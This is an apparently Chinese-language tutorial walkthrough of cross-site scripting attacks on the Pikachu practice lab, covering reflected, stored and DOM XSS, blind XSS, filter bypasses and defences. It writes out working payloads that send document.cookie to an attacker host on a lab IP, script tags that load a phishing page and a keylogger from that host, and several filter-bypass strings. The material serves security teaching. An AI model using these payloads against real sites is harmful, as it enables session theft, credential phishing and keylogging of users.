XSS簡述
Cross-Site Scripting 跨站腳本 簡稱為“CSS”,為避免與前端疊成樣式表的縮寫"CSS"沖突,故又稱XSS。
XSS是一種發生在前端浏覽器端的漏洞,是以其危害的對象也是前端使用者。XSS漏洞可以用來進行釣魚攻擊、前端js挖礦、盜取使用者cookie,甚至對主機進行遠端控制
形成XSS漏洞的主要原因是程式對輸入和輸出沒有做合适的處理,導緻“精心構造”的字元輸出在前端時被浏覽器當作有效代碼解析執行進而産生危害。
是以在XSS漏洞的防範上,一般會采用“對輸入進行過濾”和“輸出進行轉義”的方式進行處理:
輸入過濾:對輸入進行過濾,不允許可能導緻XSS攻擊的字元輸入;
輸出轉義:根據輸出點的位置對輸出到前端的内容進行适當轉義;
XSS的危害:
基本可以用來進行釣魚攻擊、前端js挖礦、使用者cookie擷取,甚至可以結合浏覽器自身的漏洞對
使用者主機進行遠端控制等。
1.擷取cookie
2.XSS進行釣魚
3.XSS擷取鍵盤記錄
4.XSS盲打
5.XSS的過濾和繞過
6.XSS輸出在href和js中的案例分析
7.XSS常見的方法措施
XSS攻擊流程:
攻擊者尋找到一個有XSS漏洞的站點,向其中插入惡意的js腳本,比如document.cookie竊取使用者的cookie。
攻擊者可以誘導或者等待使用者通路有js腳本的頁面,之後js會在使用者的浏覽器中觸發并執行,執行完後通常會傳回
到攻擊者的某一個接口上,比如竊取到了cookie就可以僞造使用者的身份登入該站點去篡改或者擷取使用者的資料。
假設存在漏洞的是一個論壇,攻擊者将惡意的JS代碼通過XSS漏洞插入到論文的某一頁面中
當使用者通路這個頁面時,都會執行這個惡意的JS代碼,這個代碼就會在使用者的浏覽器端執行
XSS漏洞常見的類型:
存儲型>反射型>DOM型
0x01:反射型:
互動的資料一般不會被存在資料庫裡面,一次性,所見即所得,一般出現在查詢類頁面等。
0x02:存儲型:
互動的資料會被存在資料庫裡面,永久性存儲,一般出現在留言闆、注冊等頁面。
0x03:DOM型:
不與背景伺服器産生資料互動,是一種通過DOM操作前端代碼輸出的時候産生的問題,一次性,
也屬于反射型。
XSS漏洞形成原因:
主要是因為程式對輸入和輸出的控制不夠嚴格,導緻精心構造的腳本輸入後,在輸到前端時被
浏覽器當作有效代碼解析執行進而産生危害。
測試流程:
1.找到注入點,比如查詢接口、留言闆等;
2.先輸入一些特殊字元來測試頁面是否會過濾掉特殊字元,比如 ' " <> 66666來檢視傳回源碼,測試是否過濾了特殊字元;
3.通過開發者工具搜尋前端頁面定位到唯一字元,結合唯一字元前後文法确定是否可以構造執行js的條件(構造閉合);
4.送出構造的腳本代碼(以及各種繞過姿勢),看是否可以成功執行,如果成功執行則說明存在XSS漏洞
反射型XSS(get):
先輸入' " <> 66666 之後觀察頁面源代碼:
![](https://img.laitimes.com/img/_0nNw4CM6IyYiwiM6ICdiwiIx0DciV2dmADM30zd-cmbw5ib1c0Y1lERNp3Y65UeRR1TyUEVMVzYE1UeRR0TwkFVNFTS610dBpWT3lEVMNTVq5UMNR0T4hTeNdXQq10dJpHTzUlaOFTTE9Ee4MVWwYVbZR3aywEd5ITW110MaZHetlVdO1GT3lERNl3YXJGc5kHT20ESjBjUIF2Lc12bj5SYphXa5VWen5WY35iclN3Ztl2Lc9CX6MHc0RHaiojIsJye.png)
ctrl+f 查找輸入點:沒有過濾直接輸出到了前端頁面的p标簽中
構造payload: <script>alert("XSS")</script>
輸入時發現對于輸入框有最大長度限制,可以F12選擇這個輸入框将最大值修改
可以看到寫進去的js代碼被執行了,也沒有進行過濾script标簽。
而反射型的XSS是通過前端發送給背景 請求,背景不進行驗證,響應完之後傳回到前端頁面
但是背景資料庫是不會存儲這個js代碼,重新整理頁面之後就沒了
而這裡是使用的GET請求送出message參數,浏覽器自動對我們的payload進行了URL編碼:
http://127.0.0.1/pikachu-master/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&submit=submit
GET型比較好利用,可以構造一個payload誘導使用者去點選,進而在網站的背景執行我們的payload。
基于pikachu平台示範:
前期準備:
本人筆記本着實吃不消2個虛拟機+一堆程序,是以隻用實體機和win2003的虛拟機進行示範,虛拟機扮演
攻擊者+伺服器,受害者為實體機
1.攻擊方+伺服器:IP:192.168.174.130,且有內建環境用于搭建pikachu。
2.受害者:IP:192.168.174.1,且有內建環境用于搭建pikachu。
3.VM1網卡和虛拟機擴充卡選項都改為DHCP自動擷取IP,并互相都可ping通。
步驟:
1.根據上面我們已知:
①前端對我們輸入的參數長度有限制;
②是沒有過濾script标簽和特殊字元的;
關于①:F12打開開發者工具,選中輸入框,将maxlength的值由20改為2000 。
關于②:直接構造payload即可,這裡注意受害者是實體機、IP是192.168.174.1、我們正常思路
是誘導其将我們的payload放入它的的浏覽器執行。payload:
<script>document.location = 'http://192.168.174.130/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
2.修改攻擊者(虛拟機)的cookie.php:我把重定向的網站換成了百度。
3.受害者執行攻擊者的payload:
在實體機中打開pikachu的反射型XSS(get)子產品,修改maxlength的值,輸入payload
并執行,可以發現傳回了百度首頁。(當然也可以自己寫個簡單的頁面用作重定向娛樂,
什麼h1标簽配合你号沒了!的這種操作都可,手動滑稽,僅供學習參考不要真實攻擊)
4.傳回pikachu的xss背景檢視cookie:
這裡一般第一次都沒有安裝這個平台,需要安裝,安裝過程中需要修改兩個inc下的php檔案:
一般都是資料庫密碼那個地方需要修改,其他的自己根據自己的情況更改即可。
成功擷取cookie!
那之後問題來了,我們有cookie怎麼進行利用受害者身份進行登入呢?可以看我的相關博文!
傳送門:cookie利用
反射型XSS(post)
攻擊思路:
POST是以表單方式在請求體中送出,無法直接利用URL方式進行攻擊。
可以看到URL中并沒有顯示送出的參數。
message參數是通過post請求體送出的,而不是用get請求。
是以payload就不能用url發送。
問題就變成了如何讓使用者替我們送出post請求。需要僞造一個自動送出post表單的頁面,
将頁面連結發送給使用者誘導其觸發表單替我們送出post請求。
頁面代碼解析:
作用:當使用者通路此頁面時,自動向存在xss漏洞的網站送出一個post請求。
①:當使用者通路這個頁面時(onload擷取post表單然後.click送出)
②:action:指向存在xss漏洞的頁面;input一個name為message,value為後面script代碼的參數。
③:這個js代碼和之前get型的是一樣的,利用cookie.php擷取cookie并送出到xss背景。
示範:
隻要将post.html的連結發給使用者讓使用者通路就可擷取cookie。
這裡和上面get型的模拟環境還是一樣的。
post.html連結:http://192.168.174.130/pikachu-master/pkxss/xcookie/post.html
在使用者已經登陸的情況下誘導其點選連結。
擷取結果:
我上面寫的重定向頁面為百度,如果沒有跳轉到百度說明post頁面是有問題的。
ps:實驗時注意幾個點
1.IP為192.168.174.1的實體機需要登入192.168.174.130伺服器上的pikachu然後點選post頁面的連結。
2.關閉實體機防火牆,否則有可能實體機和虛拟機之間ping不通。
存儲型XSS
存儲型和反射型XSS漏洞形成的原因一樣,都是對使用者控制的參數過濾和限制的不嚴格導緻的,不同
的是存儲型XSS下攻擊者可以将腳本注入到背景存儲起來,構成更加持久的危害,是以存儲型XSS也
稱為“永久型”XSS。
原理:
和反射型XSS不同的是,存儲型的XSS會将使用者送出的參數存儲在背景資料庫并重新傳回到前端頁面
顯示,是以如果使用者輸入的是一個惡意腳本那麼也會被存放在背景資料庫中,并且每次通路此頁面都
會被執行。
先在留言闆輸入<>%&#"'6666 特殊字元+定位字元測試是否針對特殊字元有過濾。
原封不動的顯示出來了,檢視一下頁面源碼:應該是沒有做任何過濾的
例如我們讓它彈出目前的cookie:
輸入:<script>alert(docuent.cookie)</script>
并且每次回到此頁面都會進行彈窗。
比如我們給一個重定向腳本,讓使用者每次通路此頁面都跳轉到通路cookie.php
之後根據cookie.php的内容會擷取使用者目前的cookie并送出到XSS背景并将使用者
目前的頁面跳轉到百度。
輸入:
<script>document.location='http://192.168.174.130/pikachu-master/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
DOM型XSS
DOM:可以了解為通路HTML的标準程式設計接口。js可以重構整個HTML文檔,包括添加、移除
、改變或重排頁面上的項目。要改變頁面的某個東西,js就需要獲得對HTML文檔中所有元素
進行通路的入口。這個入口包括重構整個HTML文檔方法的屬性都是通過文檔對象模型(DOM)
獲得的。但是以上操作都是在前端頁面完成的,沒有經過背景,
漏洞産生原因:
前端的輸入被DOM給擷取到了,通過DOM又在前端輸出了。
觀察源碼:這裡js代碼中,通過 getElementById将id=text的标簽的值指派給了str,
然後又把 str 的内容通過字元串拼接的方式寫到了 a 标簽的 href 屬性中,a标簽
通過innerHTML會寫到 Id 為 dom的 div 标簽中,id=dom的div是它的輸出
其實注入點就在于str,str是我們可以控制的變量,他被放在了a标簽的href中,可以通過
構造閉合來執行我們想要執行的js代碼。有點類似于SQL注入。
、
payload:這裡#'用來閉合前面的' 後面輸入我們想要執行的内容,把'>變為和what do you
see 一樣放在前面顯示的内容。
<a href='#' onclick="alert(document.cookie)">'>what do you see?</a>
#' onclick="alert(document.cookie)">
'> 已經顯示出來了,之後點選這個a标簽就會彈出目前的cookie
DOM型XSS-X
觀察源碼:
首先js代碼中有一個domxss的函數,先用window.location對象的search屬性擷取目前
URL的查詢内容,decodeURIComponet()函數對已經被split方法分割了的str的值所對
應的字元串進行URI解碼,再将全局裡的+替換為空格,之後把xss拼接到a标簽中,最
後寫到id為dom的div中。
payload和上面DOM型XSS是一樣的,不再示範。
XSS釣魚攻擊
這裡利用的是Basic認證做的。原理就是在XSS漏洞(存儲型)頁面嵌入一個惡意的請求,
當使用者每次打開這個頁面時都會執行我們的payload,payload會向攻擊者發送一個請求,
這個請求會傳回一個Basic認證的彈出框,要求受害者輸入賬号密碼,進而擷取使用者的資訊。
首先需要一個釣魚的頁面,也就是xfish目錄下的fish.php,這裡将ip修改為攻擊者的ip位址:
構造一個payload插入存在XSS漏洞的頁面中,盡量使其儲存在背景資料庫,可以保證
有人通路時就可以觸發我們的payload:
<script src="http://192.168.174.130/pikachu-master/pkxss/xfish/fish.php"></script>
當使用者通路有XSS漏洞的頁面時,會出現下面的認證框
輸入 admin 和 123456
背景檢視
(出問題,背景無法擷取)
跨域
當協定、主機(主域名、子域名)、端口中的任意一個不相同就不在一個域。
而不同域之間請求資料的操作,稱之為跨域操作
跨域-同源政策
為了安全考慮,所有的浏覽器都約定了“同源政策”。不同域之間不能是用js進行
互相操作,如果想要跨域作,需要管理者進行特殊配置。
比如通過頭裡面header(“Access-Control-Allow-Origin:x.com”)指定
而下面這些标簽跨域或加載資源時是不受同源政策限制的。
- <script src="...">,JS加載到本地執行
- <img src="..">,圖檔
- <link href="..">,CSS
- <iframe src="..">,任意資源
實驗
修改/pkxss/rkeypress目錄下的rk.js檔案,将IP改為攻擊者的IP
rk.js 是攻擊代碼,我們可以把這個 js 檔案放到我們的惡意站點上,然後通過有
XSS 漏洞的頁面去調用。 這個檔案可以記錄使用者的鍵盤操作,然後異步發送給攻擊者
但是預設情況下AJAX請求是不能跨域的,是以需要注釋掉rkserver.php中的
header("Access-Control-Allow-Origin:*")
payload:<script src="http://192.168.171.130/pikachu-master/pkxss/rkeypress/rk.js"></script>
(出問題,背景無法擷取)
XSS盲打
XSS盲打不是攻擊類型,而是一個攻擊場景
這是針對于我們輸入的内容不會在前端輸出,而是送出到了背景,背景管理
員可能會去看,而如果我們寫入的是一段惡意腳本,那麼背景管理者可能就會
遭受到我們的攻擊。
例如輸入:<script>alert(document.cookie)</script>
進入背景檢視,賬号:admin 密碼:123456
已經遭受了攻擊, 後面已經出現了我們當時的cookie
XSS過濾/繞過
1.前端限制繞過(比如輸入字元串的最大數量等),可抓包或者修改html代碼繞過
(是以限制盡量都在背景,前端主要還是進行輔助)
2.大小寫,比如隻是過濾了小寫,我們可以用大寫的SCIPRT或大小寫混合SCRipt繞過
3.拼湊/雙寫比如直接過濾了<script>這個标簽,可以直接<sc<script>ript>雙寫
4.使用注釋符進行幹擾<scri<!--test-->pt>alert(111)</sc<!--test-->ript>可以繞過背景限制。
編碼
核心思路:背景過濾了特殊字元或者标簽,但是該标簽可以進行各種編碼(比如16進制),
背景不一定會過濾該編碼,進而解析為正常标簽去執行。(但是需要可以被正常的解析)
實驗
通過測試,這個子產品隻對于小寫的script标簽進行了過濾,是以可以使用大小些混合
或者用别的标簽(比如img)進行
payload:<ScriPt>alert(document.cookie)</scRipT>
XSS之htmlspecialchars
htmlspecialchars()函數将php中的預定義字元轉為了HTML實體
根據源碼,發現 ' 依然可以使用 ,前後都一個 ' 用于閉合href的 ' payload:
' onclick = alert(1234)'
XSS常見防範措施
輸入做過濾,輸出做轉義
1.過濾:根據業務場景,比如手機号就做一個格式隻能輸入11位數字
2.轉義:所有的資料輸出到前端都進行HTML實體轉義等
XSS之href輸出
這個頁面會接收我們的輸入的message,然後判斷我們輸入的網址,如果輸入的不是百度會對我們輸入的内容用 htmlspecialchars() 進行處理
這個函數和上面是一樣的。轉義單引号、雙引号和左右尖括号
然後輸出到 a 标簽的 href 屬性中,在 a 标簽的href屬性中,可以用javascript協定來執行payload
payload:javascript:alert(123465).
執行之後就會出現彈窗
如果要對href做限制的話,一般有2個思路
1.輸入的時候隻允許http和https協定才允許輸出
2.進行HTML實體化轉義,也就是htmlspecialchars函數進行處理
XSS之JS輸出
這裡就是會把我們輸入的資料放到JS代碼中,然後對這個變量進行判斷再輸出
這裡可以構造一個閉合,先用一個 ' 和</script>閉合<script>,在輸入我們想執行的
js代碼。payload:
'</script><script>alert(document.cookie)</script>
因為漏洞在JS中,通過使用者的輸入動态生成了JS代碼
JS有個特點,它不會對實體編碼進行解釋,如果想要用htmlspecialchars對我們的輸入做實體編碼處理的話
在JS中不會把它解釋回去,這樣解決了XSS問題,但不能構成合法的JS
是以在JS的輸出點應該對應該使用 \ 對特殊字元進行轉義
小知識:
1.window.location.search:擷取目前頁面從(?)開始的URL(查詢部分)
2.replace()方法:
3.decodeURIComponet()函數:
4.URI/URL/URN
URI:Universal Resource Identifier 統一資源标志符,用來辨別抽象或實體資源的一個緊湊字元串。
URL:Universal Resource Locator 統一資源定位符,一種定位資源的主要通路機制的字元串,一個标準的URL必須包括:protocol、host、port、path、parameter、anchor。
URN: Universal Resource Name 統一資源名稱,通過特定命名空間中的唯一名稱或ID來辨別資源。
個人的身份證号就是URN,個人的家庭位址就是URL,URN可以唯一辨別一個人,而URL可以告訴郵差怎麼把貨送到你手裡。現在HTTP規範已經不使用URL,基本都是URI了。
參考文章:pikachu之xss
參考文章:js中window.location對象和所包含的屬性
參考文章:URI URL URN
參考文章:XSS攻擊示例